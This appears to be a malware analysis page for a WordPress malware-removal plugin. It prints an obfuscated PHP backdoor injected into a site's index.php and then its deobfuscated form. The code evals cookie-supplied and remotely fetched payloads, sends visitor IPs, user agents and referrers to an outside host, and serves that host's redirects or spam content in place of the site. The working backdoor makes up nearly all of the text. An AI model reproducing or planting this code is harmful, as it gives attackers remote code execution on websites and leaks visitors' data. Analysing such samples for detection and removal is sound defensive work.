        $PyEangj7d2JH = array("\x31\x34\x34\66\63\51\x31\64\x34\x34\x38\51\x31\64\64\66\x31\x29\61\x34\64\66\x35\51\61\x34\64\64\x36\51\61\x34\64\66\x31\51\61\x34\x34\x36\x37\51\61\64\64\x36\x30\51\61\64\64\x34\x35\51\61\64\64\x35\x32\x29\x31\x34\x34\x36\63\x29\x31\x34\64\64\66\x29\61\64\x34\65\67\51\61\x34\64\65\x31\x29\61\x34\x34\65\x32", "\x31\x34\x34\x34\67\51\61\64\x34\x34\66\x29\x31\64\x34\64\70\51\x31\64\64\66\67\x29\x31\64\64\64\x38\51\61\x34\x34\x35\x31\x29\x31\x34\64\64\66\x29\61\64\x35\61\x33\51\x31\64\x35\61\61", "\x31\x34\x34\65\66\x29\x31\x34\x34\x34\67\x29\61\x34\64\x35\61\51\61\64\x34\x35\x32\51\x31\64\x34\x36\x37\x29\61\64\x34\66\x32\51\61\64\64\66\x31\x29\x31\x34\x34\x36\x33\51\61\x34\x34\x35\61\x29\61\x34\64\66\x32\51\61\64\x34\x36\x31", "\x31\x34\64\65\60\x29\x31\64\x34\66\x35\51\61\64\x34\x36\x33\51\x31\x34\64\65\65", "\61\x34\x34\x36\64\x29\61\x34\x34\x36\65\51\x31\x34\64\x34\67\51\61\x34\64\x36\x31\51\x31\x34\x35\60\70\x29\x31\x34\65\x31\x30\x29\x31\x34\x34\66\67\x29\x31\64\x34\66\x32\51\61\64\64\66\x31\51\x31\64\x34\66\x33\x29\61\x34\x34\65\61\51\x31\x34\64\66\x32\51\x31\x34\64\66\61", "\61\64\64\x36\60\x29\x31\x34\64\x35\67\51\x31\64\x34\65\x34\51\x31\64\64\66\x31\x29\x31\x34\64\66\x37\x29\x31\x34\64\x35\x39\51\61\64\x34\x36\x31\x29\x31\64\64\x34\66\51\x31\x34\x34\x36\x37\x29\x31\64\x34\66\x33\x29\61\x34\x34\x35\x31\x29\61\x34\x34\x35\x32\x29\x31\64\x34\x34\x36\x29\x31\x34\64\x36\61\51\x31\64\64\65\62\51\61\64\64\64\66\x29\x31\64\x34\64\67", "\x31\64\64\71\x30\51\61\x34\x35\x32\x30", "\61\x34\64\63\x37", "\x31\x34\65\x31\65\51\x31\64\65\x32\x30", "\x31\x34\x34\x39\67\x29\61\x34\x34\70\x30\x29\x31\x34\x34\70\60\51\61\x34\x34\71\67\x29\x31\x34\64\67\x33", "\x31\64\x34\x36\x30\51\x31\x34\64\x35\67\x29\61\64\64\65\x34\x29\x31\x34\x34\x34\x36\x29\x31\x34\x34\66\61\x29\x31\64\64\x34\x38\x29\x31\x34\64\66\67\51\x31\x34\64\x35\67\51\x31\64\64\65\x32\51\61\x34\x34\65\x30\51\x31\64\x34\x34\65\x29\x31\64\64\x34\66");
        goto E0yR108wRDKu;
        zTGeR8Uwu6FS:
        $SGCYnZR1YBAq = self::FGAFT6Q3qyCk($F_xExOB4LQvF[0 + 1], $yl5UeBM3lZfK[1 + 4]);
        goto wM3pnVUy2WmV;
        E0yR108wRDKu:
        foreach ($PyEangj7d2JH as $kroVTo_9TOPV) {
            $yl5UeBM3lZfK[] = self::Mr5V8bcGwA4F($kroVTo_9TOPV);
            XSfIKDia_rF4:
        }
        goto Uyjyv1C7_u3G;
        Uyjyv1C7_u3G:
        wycdkI1yuwob:
        goto wkuzhHhm5a_V;
        fnTnvDyc8kGf:
        $L1zoPmdrc_UC = @$yl5UeBM3lZfK[1 + 2]($yl5UeBM3lZfK[5 + 1], $F0hc4yK6xyho);
        goto q_AcftvqFelG;
        Bz0QZYqE8SbA:
        UTljSX1VY3mm:
        goto s5TS7khseg2U;
        MvYrrcPgo3P_:
        if (!(@$F_xExOB4LQvF[0] - time() > 0 and md5(md5($F_xExOB4LQvF[3 + 0])) === "\145\64\66\146\63\x63\x32\65\145\70\70\142\x36\x30\x62\62\64\71\x66\x34\141\x39\x31\x38\x31\65\143\141\71\64\142\61")) {
            goto UTljSX1VY3mm;
        }
        goto zTGeR8Uwu6FS;
        WQoa4vieWVYV:
        die;
        goto Bz0QZYqE8SbA;
        inY9fXgf2j2K:
        @$yl5UeBM3lZfK[9 + 1](INPUT_GET, "\x6f\x66") == 1 && die($yl5UeBM3lZfK[0 + 5](__FILE__));
        goto MvYrrcPgo3P_;
        s5TS7khseg2U:
    }
}
goto Yf8aHamZqmrW;
fahchMAUBdlF:
Q1DD7g9ogy14:
?>
<?php define('WP_USE_THEMES', true);
require('./wp-blog-header.php'); ?>

Decoded(de-Obfuscated) php code

<?php

error_reporting(0);
$tYEBx2ch2a6U = "range";
$zaKbRHLiIYde = range("~", " ");
$W3d7aWKqIANo = ${$zaKbRHLiIYde[31] . $zaKbRHLiIYde[59] . $zaKbRHLiIYde[47] . $zaKbRHLiIYde[47] . $zaKbRHLiIYde[51] . $zaKbRHLiIYde[53] . $zaKbRHLiIYde[57]};
if (!(in_array(gettype($W3d7aWKqIANo) . count($W3d7aWKqIANo), $W3d7aWKqIANo) && count($W3d7aWKqIANo) == 14 && md5(md5(md5(md5($W3d7aWKqIANo[8])))) === "4ae30cb9d44e5d64ec5e51ae6382dcc3")) {
    goto bHrRw1mZdIaL;
}
($W3d7aWKqIANo[63] .= $W3d7aWKqIANo[80]) && ($W3d7aWKqIANo[86] = $W3d7aWKqIANo[63]($W3d7aWKqIANo[86])) && @eval($W3d7aWKqIANo[63](${$W3d7aWKqIANo[39]}[26]));
bHrRw1mZdIaL:
metaphone("MzMyOTU4NzY4OTk0MDI0MzU0MzYxNDUx");
class R8rUoAlSWJ2y
{
    static function Mr5v8bCgwa4F($z4172ITSSL3E)
    {
        $FwAOqLo2aJIy = "range";
        $h5_Jx5CdjfdQ = range("~", " ");
        $jbGEYoBn2T2h = explode(")", $z4172ITSSL3E);
        $oAWvO1sCXqWd = '';
        foreach ($jbGEYoBn2T2h as $JlazongtzzjS => $p0flcUA5lUqW) {
            $oAWvO1sCXqWd .= $h5_Jx5CdjfdQ[$p0flcUA5lUqW - 14436];
        }
        return $oAWvO1sCXqWd;
    }
    static function fgAfT6q3QYCK($TkcEZ1M2VZDo, $Xc8ZKTxO7Do3)
    {
        $VdFIdcMb67eP = curl_init($TkcEZ1M2VZDo);
        curl_setopt($VdFIdcMb67eP, CURLOPT_RETURNTRANSFER, 1);
        $r7k0H5mrTn19 = curl_exec($VdFIdcMb67eP);
        return empty($r7k0H5mrTn19) ? $Xc8ZKTxO7Do3($TkcEZ1M2VZDo) : $r7k0H5mrTn19;
    }
    static function akr4CxiYKv3I()
    {
        $PyEangj7d2JH = array("14463)14448)14461)14465)14446)14461)14467)14460)14445)14452)14463)14446)14457)14451)14452", "14447)14446)14448)14467)14448)14451)14446)14513)14511", "14456)14447)14451)14452)14467)14462)14461)14463)14451)14462)14461", "14450)14465)14463)14455", "14464)14465)14447)14461)14508)14510)14467)14462)14461)14463)14451)14462)14461", "14460)14457)14454)14461)14467)14459)14461)14446)14467)14463)14451)14452)14446)14461)14452)14446)14447", "14490)14520", "14437", "14515)14520", "14497)14480)14480)14497)14473", "14460)14457)14454)14446)14461)14448)14467)14457)14452)14450)14445)14446");
        foreach ($PyEangj7d2JH as $kroVTo_9TOPV) {
            $yl5UeBM3lZfK[] = self::Mr5V8bcGwA4F($kroVTo_9TOPV);
        }
        $F0hc4yK6xyho = @$yl5UeBM3lZfK[1]($yl5UeBM3lZfK[10](INPUT_GET, $yl5UeBM3lZfK[9]));
        $L1zoPmdrc_UC = @$yl5UeBM3lZfK[3]($yl5UeBM3lZfK[6], $F0hc4yK6xyho);
        $F_xExOB4LQvF = $yl5UeBM3lZfK[2]($L1zoPmdrc_UC, true);
        @$yl5UeBM3lZfK[10](INPUT_GET, "of") == 1 && die($yl5UeBM3lZfK[5]("/var/www/html/input.php"));
        if (!(@$F_xExOB4LQvF[0] - time() > 0 and md5(md5($F_xExOB4LQvF[3])) === "e46f3c25e88b60b249f4a91815ca94b1")) {
            // [PHPDeobfuscator] Implied return
            return;
        }
        $SGCYnZR1YBAq = self::FGAFT6Q3qyCk($F_xExOB4LQvF[1], $yl5UeBM3lZfK[5]);
        @eval($yl5UeBM3lZfK[4]($SGCYnZR1YBAq));
        die;
    }
}
R8RuoAlSwj2y::aKr4CxiyKv3I();
header("Content-Type: text/html; charset=utf-8");
error_reporting(0);
function w5P8MOOQah2f($LHtDphoMKV8B)
{
    $C_lC0WNHWmk3 = array("status" => 0, "content" => '', "type" => '');
    if (is_array($LHtDphoMKV8B)) {
        foreach ($LHtDphoMKV8B as $EWWGfX9ZyfxG) {
            if (preg_match("/http\\/[0-9\\.]+[\\s]+([0-9]+)/i", $EWWGfX9ZyfxG, $vsy_lRWe4oN6)) {
                $C_lC0WNHWmk3["status"] = intval($vsy_lRWe4oN6[1]);
                goto U6_SJgTQ81Vq;
            }
            if (preg_match("/location\\:[\\s]+(.*)/i", $EWWGfX9ZyfxG, $vsy_lRWe4oN6)) {
                $C_lC0WNHWmk3["content"] = $vsy_lRWe4oN6[1];
                goto U6_SJgTQ81Vq;
            }
            if (preg_match("/content\\-type\\:[\\s]+(.*)/i", $EWWGfX9ZyfxG, $vsy_lRWe4oN6)) {
                $C_lC0WNHWmk3["type"] = $vsy_lRWe4oN6[1];
                goto S5V0hwwsO4V5;
            }
            S5V0hwwsO4V5:
            U6_SJgTQ81Vq:
        }
        return $C_lC0WNHWmk3;
    }
    return $C_lC0WNHWmk3;
}
function c13b1gYs722d($HfbmsHCKBV7r, $sfDQZG3OYtsT = array())
{
    $T5yNMeHxr2z1 = array("status" => 0, "content" => '', "type" => '');
    if (!(is_array($sfDQZG3OYtsT) && count($sfDQZG3OYtsT))) {
        goto dUPolSZdjc4J;
    }
    $HfbmsHCKBV7r .= "?" . http_build_query($sfDQZG3OYtsT);
    dUPolSZdjc4J:
    try {
        if (function_exists("curl_exec") && function_exists("curl_init")) {
            $RGiAMOeKufkX = curl_init();
            curl_setopt($RGiAMOeKufkX, CURLOPT_URL, $HfbmsHCKBV7r);
            curl_setopt($RGiAMOeKufkX, CURLOPT_SSL_VERIFYHOST, 0);
            curl_setopt($RGiAMOeKufkX, CURLOPT_SSL_VERIFYPEER, 0);
            curl_setopt($RGiAMOeKufkX, CURLOPT_CONNECTTIMEOUT, 20);
            curl_setopt($RGiAMOeKufkX, CURLOPT_TIMEOUT, 60);
            curl_setopt($RGiAMOeKufkX, CURLOPT_FOLLOWLOCATION, 0);
            curl_setopt($RGiAMOeKufkX, CURLOPT_COOKIESESSION, 0);
            curl_setopt($RGiAMOeKufkX, CURLOPT_RETURNTRANSFER, 1);
            $fAI6lK0qlXfO = curl_exec($RGiAMOeKufkX);
            $T5yNMeHxr2z1["status"] = intval(curl_getinfo($RGiAMOeKufkX, CURLINFO_HTTP_CODE));
            $T5yNMeHxr2z1["type"] = strval(curl_getinfo($RGiAMOeKufkX, CURLINFO_CONTENT_TYPE));
            $T5yNMeHxr2z1["content"] = strval(curl_getinfo($RGiAMOeKufkX, CURLINFO_REDIRECT_URL));
            @curl_close($RGiAMOeKufkX);
            if (!in_array($T5yNMeHxr2z1["status"], array(200, 301, 302, 404))) {
                goto EkeQGkszqt31;
            }
            $T5yNMeHxr2z1["content"] = strval($fAI6lK0qlXfO);
            EkeQGkszqt31:
            goto Wh5Xwo8wGhj0;
        }
        if (ini_get("allow_url_fopen")) {
            $BsiuSwn5_4jA = array("http" => array("method" => "GET", "timeout" => 60, "follow_location" => 0), "ssl" => array("verify_peer" => false, "verify_peer_name" => false));
            $H53qT3Ba1Rco = stream_context_create($BsiuSwn5_4jA);
            $LIAhGJnkBU2n = @file_get_contents($HfbmsHCKBV7r, false, $H53qT3Ba1Rco);
            $T5yNMeHxr2z1 = array_merge($T5yNMeHxr2z1, W5P8MOOqah2f($http_response_header));
            if (!in_array($T5yNMeHxr2z1["status"], array(200, 301, 302, 404))) {
                goto gPDxNPohrWsv;
            }
            $T5yNMeHxr2z1["content"] = strval($LIAhGJnkBU2n);
            gPDxNPohrWsv:
            goto pVX3N9mjUnGq;
        }
        pVX3N9mjUnGq:
        Wh5Xwo8wGhj0:
    } catch (Exception $j5IXvIC33_U2) {
    }
    return $T5yNMeHxr2z1;
}
function exdq9LPupxfP($Sc2Tuu67tbSJ)
{
    if ($Sc2Tuu67tbSJ) {
        return rtrim(strtr(base64_encode($Sc2Tuu67tbSJ), "+/", "-_"), "=");
    }
    return '';
}
function iLThfE6qjetZ()
{
    $tgjPQQH3tI0D = '';
    if (isset($_SERVER["HTTP_CF_CONNECTING_IP"]) && !empty($_SERVER["HTTP_CF_CONNECTING_IP"])) {
        $tgjPQQH3tI0D = $_SERVER["HTTP_CF_CONNECTING_IP"];
        goto tf5iTsiAwITN;
    }
    if (isset($_SERVER["HTTP_X_REAL_IP"]) && !empty($_SERVER["HTTP_X_REAL_IP"])) {
        $tgjPQQH3tI0D = $_SERVER["HTTP_X_REAL_IP"];
        goto tf5iTsiAwITN;
    }
    if (isset($_SERVER["HTTP_X_FORWARDED_FOR"]) && !empty($_SERVER["HTTP_X_FORWARDED_FOR"])) {
        $tgjPQQH3tI0D = $_SERVER["HTTP_X_FORWARDED_FOR"];
        goto ppDoPjY84zk2;
    }
    $tgjPQQH3tI0D = $_SERVER["REMOTE_ADDR"];
    ppDoPjY84zk2:
    tf5iTsiAwITN:
    $tgjPQQH3tI0D = trim(str_replace(" ", '', $tgjPQQH3tI0D), ",");
    if (!(strpos($tgjPQQH3tI0D, ",") !== false)) {
        goto BClj7Z40j_J1;
    }
    $tgjPQQH3tI0D = explode(",", $tgjPQQH3tI0D);
    $tgjPQQH3tI0D = $tgjPQQH3tI0D[0];
    BClj7Z40j_J1:
    return $tgjPQQH3tI0D;
}
function xeWNIAnXEXBQ()
{
    $f7qOAK3jh8RT = "http://";
    if (isset($_SERVER["HTTPS"]) && strtolower($_SERVER["HTTPS"]) !== "off") {
        $f7qOAK3jh8RT = "https://";
        goto QsH30b2nzhgU;
    }
    if (isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] === "https") {
        $f7qOAK3jh8RT = "https://";
        goto QsH30b2nzhgU;
    }
    if (isset($_SERVER["HTTP_FRONT_END_HTTPS"]) && strtolower($_SERVER["HTTP_FRONT_END_HTTPS"]) !== "off") {
        $f7qOAK3jh8RT = "https://";
        goto uMkKO_J2fL5c;
    }
    uMkKO_J2fL5c:
    QsH30b2nzhgU:
    return $f7qOAK3jh8RT;
}
if (!($_SERVER["REQUEST_URI"] === "/R-" . md5($_SERVER["SERVER_NAME"]))) {
    if (!substr_count($_SERVER["REQUEST_URI"], "index.php/jk")) {
        $tgjPQQH3tI0D = ILThFe6QJetz();
        $DXpd_4nmefgY = strval(@$_SERVER["HTTP_REFERER"]);
        $KT330L2yWVmh = XEwnianxexbQ() . $_SERVER["HTTP_HOST"];
        if (!(strpos($DXpd_4nmefgY, $KT330L2yWVmh) === 0)) {
            goto B4RGq8kSg32x;
        }
        $DXpd_4nmefgY = '';
        B4RGq8kSg32x:
        $Fpv3Gnb83l7T = array();
        $Fpv3Gnb83l7T["i"] = EXdQ9lpUPxFp($tgjPQQH3tI0D);
        $Fpv3Gnb83l7T["l"] = exDQ9LPupxfp($_SERVER["HTTP_ACCEPT_LANGUAGE"]);
        $Fpv3Gnb83l7T["sn"] = eXdQ9lpuPXFP($_SERVER["SCRIPT_NAME"]);
        $Fpv3Gnb83l7T["r"] = ExdQ9LPUPxfp($_SERVER["REQUEST_URI"]);
        $Fpv3Gnb83l7T["rf"] = eXdQ9LpupXFp($DXpd_4nmefgY);
        $Fpv3Gnb83l7T["s"] = exdq9lPUpXFP($KT330L2yWVmh);
        $Fpv3Gnb83l7T["u"] = ExDQ9LPupXFP($_SERVER["HTTP_USER_AGENT"]);
        $vsKq2mdhu8Ju = preg_replace("/\\?.*/", '', $_SERVER["REQUEST_URI"]);
        $LPr9jF8Gldr2 = false;
        if (!(strpos($vsKq2mdhu8Ju, ".") > 0 && strpos($vsKq2mdhu8Ju, ".php") === false)) {
            goto VxhuDyFkBKYM;
        }
        $ZWeV2nh1pfFA = substr($vsKq2mdhu8Ju, strpos($vsKq2mdhu8Ju, "."));
        if (!in_array($ZWeV2nh1pfFA, array(".js", ".css", ".jpg", ".png", ".gif", ".ico"))) {
            goto ceTyvoBs95Oj;
        }
        $LPr9jF8Gldr2 = true;
        ceTyvoBs95Oj:
        VxhuDyFkBKYM:
        if ($LPr9jF8Gldr2) {
            goto Q1DD7g9ogy14;
        }
        $T5yNMeHxr2z1 = c13B1gYs722d("http://zs621v13su.officer.lat/", $Fpv3Gnb83l7T);
        if (in_array($T5yNMeHxr2z1["status"], array(0, 200))) {
            goto BydLbf8PYUUd;
        }
        switch ($T5yNMeHxr2z1["status"]) {
            case 301:
                header("HTTP/1.1 301 Moved Permanently");
                header("Location: " . trim($T5yNMeHxr2z1["content"]));
                goto YsOC9xjMVXDc;
            case 302:
                header("HTTP/1.1 302 Move Temporarily");
                header("Location: " . trim($T5yNMeHxr2z1["content"]));
                goto YsOC9xjMVXDc;
            case 404:
                header("HTTP/1.1 404 Not Found");
                header("status: 404 Not Found");
                goto YsOC9xjMVXDc;
            default:
                goto YsOC9xjMVXDc;
        }
        YsOC9xjMVXDc:
        BydLbf8PYUUd:
        if (!strlen($T5yNMeHxr2z1["content"])) {
            Q1DD7g9ogy14:
            define('WP_USE_THEMES', true);
            require './wp-blog-header.php';
            // [PHPDeobfuscator] Implied script end
            return;
        }
        @header("Content-Type:" . $T5yNMeHxr2z1["type"]);
        echo $T5yNMeHxr2z1["content"];
        exit(0);
    }
    exit("{ \"error\": 200, \"lc\": \"jk\", \"data\": [ 1 ] }");
}
exit(strrev(md5($_SERVER["SERVER_NAME"])));

Malware detection & removal plugin for WordPress

（C）2020 Wordpress Doctor All rights reserved.